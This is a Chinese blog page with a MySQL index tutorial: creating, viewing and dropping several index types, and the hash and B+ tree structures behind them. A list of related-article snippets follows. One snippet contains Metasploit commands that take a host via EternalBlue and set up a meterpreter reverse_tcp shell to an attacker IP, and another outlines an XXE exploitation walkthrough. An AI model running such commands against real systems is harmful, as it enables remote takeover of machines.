当前位置: 首页 > news >正文

【SQL】MySQL中的索引,索引优化

索引是存储引擎用来快速查询记录的一种数据结构,按实现方式主要分为Hash索引B+树索引
按功能划分,主要有以下几类
在这里插入图片描述
单列索引指的是对某一列单独建立索引,一张表中可以有多个单列索引
1. 单列索引 - 普通索引

  • 创建索引(关键字index):
create table student(id int primary key,card_id varchar(20),name varchar(20),index index_name(name) -- 1.创建表时,给name列创建普通索引
);
-- 2.创建表后,添加普通索引
create index index_name on student(name); 
-- 3.修改表结构,添加普通索引
alter table student add index index_name(name);
  • 查看索引(通用操作):
show index from student;
  • 删除索引(通用操作,仅需修改索引名字):
drop index index_name on student;
-- 或
alter table student drop index index_name;

2. 单列索引 - 唯一索引
与普通索引的区别在于唯一索引列的值必须唯一,但可以有空值

  • 创建索引(关键字unique):
create table student(id int primary key,card_id varchar(20),name varchar(20),unique index_card_id(card_id) -- 1.创建表时,给card_id列创建唯一索引
);
-- 2.创建表后,添加唯一索引
create unique index index_card_id on student(card_id); 
-- 3.修改表结构,添加唯一索引
alter table student add unique index_card_id(card_id);

3. 单列索引 - 主键索引
MySQL会在主键列上自动创建索引,就是主键索引。(联合主键也会自动创建对应的组合索引)
主键列唯一且不为空,所以主键索引是特殊的唯一索引
4. 组合索引(复合索引)
组合索引指将多个列合在一起创建索引,可以创建组合普通索引,组合唯一索引(某一列值可以重复,但两列合起来不能重复)。

  • 创建组合索引
-- 添加组合普通索引
create index index_card_id on student(id,card_id); 
-- 添加组合唯一索引
create unique index index_card_id on student(id,card_id); 

组合索引的使用符合最左原则,例如上面的索引,单独查id可以用到组合索引,单独查card_id用不到组合索引。
5. 全文索引(仅了解)

  • 全文索引用来查找文本中的关键字,类似于like+%模糊匹配
  • 关键字为fulltext,在大量文本数据查找时,速度比like+%快N倍
  • 只有char、varchar、text及其系列才可以建全文索引
  • 全文索引有两个变量,最小搜索长度和最大搜索长度,只有长度在最小搜索长度~最大搜索长度的文本,才能被索引查询。
-- 添加组合普通索引
alter table t_article add fulltext index_content(content);
-- 添加组合唯一索引
create fulltext index index_content on t_article(content); 
  • 使用全文索引查询,使用match和against关键字,不能用like
-- match后跟字段,against后跟要模糊匹配的文本
select * from t_article where match(content) against('you');
-- 查询结果与下面语句相同
select * from t_article where content like '%you%';

6. 空间索引(使用很少,仅了解)
空间索引是对空间数据类型的字段建立的索引,MySQL中的空间数据类型有以下4种

空间数据类型含义说明
Geometry空间数据任何一种空间类型
Point坐标值
LineString线一系列点连接而成
Polygon多边形多条线组成
  • 添加空间索引(关键字spatial)
create table shop_info(id int primary key auto_increment comment 'id',shop_name varchar(64) not null comment '门店名称',geom_point geometry not null comment '经纬度',spatial key geom_index(geom_point) -- 添加空间索引
);

索引内部原理

  • 索引通常以索引文件的形式存储在磁盘中
  • 索引查找要产生磁盘I/O消耗,而磁盘I/O的消耗远高于内存I/O,所以索引的数据结构要尽量减少磁盘I/O的操作次数
  • Hash索引
    通过字段值计算出hash值(可看作是存储地址,类似于书本中的页码),直接定位数据
    在这里插入图片描述
  • B+树索引
    二叉树 -> 平衡二叉树 -> B树 -> B+树
    二叉树
    在这里插入图片描述
    平衡二叉树
    在这里插入图片描述
    B树(B-Tree)
    PS:没有B减树,只有B树,英文就是B-Tree,-只是为了分隔B和Tree
    数据可视化网址https://www.cs.usfca.edu/~galles/visualization/BTree.html
    B+树
    数据可视化网址https://www.cs.usfca.edu/~galles/visualization/BPlusTree.html
    MyISAM存储引擎使用B+树作为索引结构,叶节点的data域存放的是数据的地址。
    InnoDB存储引擎使用B+树作为索引结构,叶节点的data域存放的是数据,比MyISAM效率高一点,但占磁盘空间。

相关文章:

【SQL】MySQL中的索引,索引优化

索引是存储引擎用来快速查询记录的一种数据结构,按实现方式主要分为Hash索引和B树索引。 按功能划分,主要有以下几类 单列索引指的是对某一列单独建立索引,一张表中可以有多个单列索引 1. 单列索引 - 普通索引 创建索引(关键字i…...

uniapp 跳转到指定位置

this.$router.push({name: Demo,params: {id: 123} })这样就实现了页面的跳转,并且将参数id传递给了Demo组件。 如果需要跳转到当前页面的不同位置,我们可以使用锚点来实现。锚点是一个HTML元素的标识符,可以用于定位和跳转到该元素。例如&a…...

基于java的图书馆预约座位系统的设计与实现(部署+源码+LW)

项目描述 临近学期结束,还是毕业设计,你还在做java程序网络编程,期末作业,老师的作业要求觉得大了吗?不知道毕业设计该怎么办?网页功能的数量是否太多?没有合适的类型或系统?等等。今天给大家介绍一篇基于java的图书馆预约座…...

golang 拉取 bitbucket.org 私有库

以 bitbucket.org 平台和mac电脑为例 前置条件私库需要给你账号权限,可拉取的权限,否则无法进行正常拉取 我们采用ssh方式,需要在本地生成对应的 rsa 的公钥和私钥,将公钥配置如下图: 在 .ssh/config 写入你的配置 H…...

Sub-1G射频收发器soc芯片 UM2080F32 低功耗 32 位 IoTP

UM2080F32是基于 ARM Cortex M0 内核的超低功耗、高性能的、单片集成 (G)FSK/OOK 无线收发机的 32 位SOC 芯片。 UM2080F32 工作于200MHz~960MHz 范围内,支持灵活可设的数据包格式,支持自动应答和自动重发功能,支持跳频操作,支持 …...

国际减灾日 | 智慧减灾——百分点科技的数据科学视角

国际减轻自然灾害日简称“国际减灾日”,由联合国于1989年设立,旨在关注全球灾害风险,呼吁各国政府、组织和个人积极参与减灾工作,以保护人民生命财产安全。今年10月13日是第34个国际减灾日,主题为“共同打造有韧性的未…...

ChatGLM流式输出的报错修复

ChatGLM中的openai_api.py中的代码如下: # codingutf-8 # Implements API for ChatGLM2-6B in OpenAIs format. (https://platform.openai.com/docs/api-reference/chat) # Usage: python openai_api.py # Visit http://localhost:8000/docs for documents.import …...

HDLbits: ece241 2013 q12 // Exams/m2014 q4k

两道题目,有一样的问题: 第一道:ece241 2013 q12 下面的代码错误,一直没看出来哪里有问题: module top_module (input clk,input enable,input S,input A, B, C,output Z ); reg [7:0] q;dff dff_1(clk,enable,S,q[…...

vue3模板-vscode设置(语法糖)

选择菜单里的 文件 > 首选项 > 用户代码片段 vscode模板 {"Print to conaole":{"prefix": "v-ts", //在新建立的页面中输入C就会有智能提示&#xff0c;Tab就自动生成好了"body": ["<template>"," <…...

RFID超高频读写器的特点和应用

RFID读写器根据不同的工作频段可以分为高频读写器和超高频读写器&#xff0c;高频读写器通常在13.56Mhz频段工作&#xff0c;超高频读写器一般在860-960M Hz频段工作。下面我们就来为大家详细介绍一下&#xff0c;超高频读写器的特点和实际应用。 超高频读写器的工作原理 超高频…...

诡异事件:开发的安卓摄像头应用突然不能保存图片,回滚代码都查不出来

昨天对摄像头应用进行了大规模修改&#xff0c;在一个工程中&#xff0c;同时编译两个app。一番辛苦工作之后&#xff0c;成功。进行了测试&#xff0c;发现诡异的事情&#xff1a;照相无法保存&#xff01; 那怎么办&#xff1f;赶紧增加搞权限&#xff0c;没用。 逐个版本回滚…...

validator库的使用详解

目录 基本使用前言请求模型的定义编写接口及测试 翻译校验错误提示信息自定义错误提示信息的字段名自定义校验规则常见的参数校验字段 基本使用 前言 在做API开发时&#xff0c;需要对请求参数的校验&#xff0c;防止用户的恶意请求。例如日期格式&#xff0c;用户年龄&#x…...

ADS版图中连接提示线设置

ADS版图连接提示线设置 简述solve 简述 在ADS版中连接提示线设置&#xff0c;如下图1所示&#xff0c;有点类似于AD中“金线”&#xff0c;提示同一网络的焊盘&#xff0c;但在ads中&#xff0c;是产生了同一层的wire&#xff0c;证据如图2所示。如果没有设置的话&#xff0c;…...

【MySQL】内置函数——数学函数+其他函数

文章目录 一. 数字函数二. 其他函数 一. 数字函数 函数名称描述abs()绝对值函数bin()十进制转换二进制hex()转换成十六进制conv(number,from_base,to_base)将number从from_base转换成to_base进制ceiling()向上取整floor()向下取整format(number,decimal_places)格式化&#xf…...

Ubuntu 23.10 Beta 镜像开放下载

导读Canonical放出了 Ubuntu 23.10 Beta 镜像&#xff0c;此外 Edubuntu、Kubuntu、Lubuntu、Ubuntu Budgie、Ubuntu Cinnamon、Ubuntu Kylin、Ubuntu MATE、Ubuntu Studio、Ubuntu Unity 和 Xubuntu 等风味版本也同步放出镜像。 近日消息&#xff0c;Canonical 放出了 Ubuntu …...

mybatispagehelp嵌套分页处理

1.定义嵌套vo类 /*** 用户中心,我的订单列表VO*/ public class MyOrdersVO {private String orderId;private Date createdTime;private Integer payMethod;private Integer realPayAmount;private Integer postAmount...

增速波动!W「下」AR「上」!HUD前装供应商比拼硬核能力

作为汽车智能座舱人机交互的新配置之一&#xff0c;HUD&#xff08;抬头显示&#xff09;市场在经历一波快速增长周期后&#xff0c;进入调整阶段。 本周&#xff0c;高工智能汽车研究院发布数据显示&#xff0c;2023年8月&#xff0c;中国市场&#xff08;不含进出口&#xff…...

XXE漏洞复现实操

文章目录 一、漏洞原理二、验证payload三、没有回显时的验证四、漏洞特征五、读取文件六、Base64加密读取七、端口检测八、使用php检测端口九、dtd外部实体读取文件十、Xxe漏洞防御 一、漏洞原理 (1)XXE漏洞全称XML External Entity Injection&#xff0c;即xmI外部实体注入漏…...

github创建个人网页登录后404无法显示的问题

1.首先必须要有内容&#xff0c;默认是会找index.html文件&#xff0c;找不到该文件会找readme.md文件&#xff0c;也就是说最简单的方法是&#xff0c;创建了与用户名同名的repository后username.github.io后&#xff0c;添加一个readme.md文件&#xff0c;得在readme里打点字…...

MySQL——源码安装教程(初版)

MySQL 一、MySQL的安装1、RPM2、二进制3、源码 二、源码安装方式三、安装过程1、上传源码包2、解压当前文件并安装更新依赖3、对MySQL进行编译安装 一、MySQL的安装 首先这里我来介绍下MySQL的几种安装方式&#xff1a; 一共三种&#xff0c;RPM安装包、二进制包安装以及源码安…...

1.1.C++项目:仿muduo库实现并发服务器之any类的设计

文章目录 一、思想二、框架三、代码 一、思想 每⼀个Connection对连接进行管理&#xff0c;最终都不可避免需要涉及到应用层协议的处理&#xff0c;因此在Connection中需要设置协议处理的上下文来控制处理节奏。但是应用层协议千千万&#xff0c;为了降低耦度&#xff0c;这个…...

linux项目启动脚本start.sh和stop.sh停止脚本

start脚本示例 MAIN_CLASSCLASSPATH.;JVM_PARMS""export APP_HOME$(dirname $(pwd))export APP_APPS$APP_HOME/appsexport APP_RESOURCES$APP_HOME/confexport APP_LIB$APP_HOME/libexport APP_LOG$APP_HOME/logs;export APP_NAME$(basename $APP_HOME)function mak…...

Avalonia常用小控件Svg

1.项目下载地址&#xff1a;https://gitee.com/confusedkitten/avalonia-demo 2.UI库Semi.Avalonia&#xff0c;项目地址 https://github.com/irihitech/Semi.Avalonia 3.SVG库&#xff0c;Avalonia.Svg.Skia&#xff0c;项目地址 https://github.com/wieslawsoltes/Svg.Ski…...

设计模式-行为型模式

文章目录 一、模板方法模式二、策略模式三、命令模式四、责任链模式五、状态模式六、观察者模式七、中介者模式八、迭代器模式九、访问者模式十、备忘录模式十一、解释器模式 一、模板方法模式 定义一个操作中的算法骨架&#xff0c;而将算法的一些步骤延迟到子类中&#xff0…...

【EventLoop】问题一次搞定

&#x1f4cd; JS的事件循环机制恐怕是大多数前端开发者头顶上的一座大山之一&#xff0c;最近通过拜读两篇文档&#xff0c;对eventloop进行了深刻的理解&#xff1b;通过这篇文档对要点进行总结&#xff1b; article1&#xff1a; 波神的这篇eventLoop文章适合反复重温&…...

Unity中Shader光照模型Phong

文章目录 前言一、Phong光照模型二、图示解释Phone光照模型1、由图可得&#xff0c;R 可以由 -L 加上 P 得出2、P等于2*M3、因为 N 和 L 均为单位向量&#xff0c;所以 M 的模可以由 N 和 L得出4、得到M的模后&#xff0c;乘以 单位向量N&#xff0c;得到M5、最后得出 P 和 R 前…...

消息队列缓存,以蓝牙消息服务为例

前言 消息队列缓存&#xff0c;支持阻塞、非阻塞模式&#xff1b;支持协议、非协议模式 可自定义消息结构体数据内容 使用者只需设置一些宏定义、调用相应接口即可 这里我用蓝牙消息服务举例 有纰漏请指出&#xff0c;转载请说明。 学习交流请发邮件 1280253714qq.com 原…...

MSF派生给另外MSF,meterpreter派生给另外meterpreter,Metasploit

首先是通过ms17_010永恒之蓝拿下shell,192.168.50.146为受害者靶机,192.168.50.130为kali的ip set autorunscript post/windows/manage/migrate nameservices.exe set payload windows/x64/meterpreter/reverse_tcp set lport 5577 set lhost 192.168.50.130 use exploit/windo…...

【LeetCode】1.两数之和

目录 1 问题2 答案2.1 枚举法 &#xff08;自己写的&#xff09;2.2 哈希表 3 问题 1 问题 给定一个整数数组 nums 和一个整数目标值 target&#xff0c;请你在该数组中找出 和为目标值 target 的那 两个 整数&#xff0c;并返回它们的数组下标。 你可以假设每种输入只会对应…...

3. Windows下C++/MFC调用hiredis库操作redis示例

一、头文件目录 将之前下载和编译好的Redis目录拷贝到新建好的工程目录下面&#xff0c;再点击测试工程的右键/属性&#xff0c;点击C/常规&#xff0c;附加包含目录添加以下路径&#xff0c;注意如果原先有多个路径&#xff0c;在末尾处添加分号后再粘贴&#xff1a; 点击C/常…...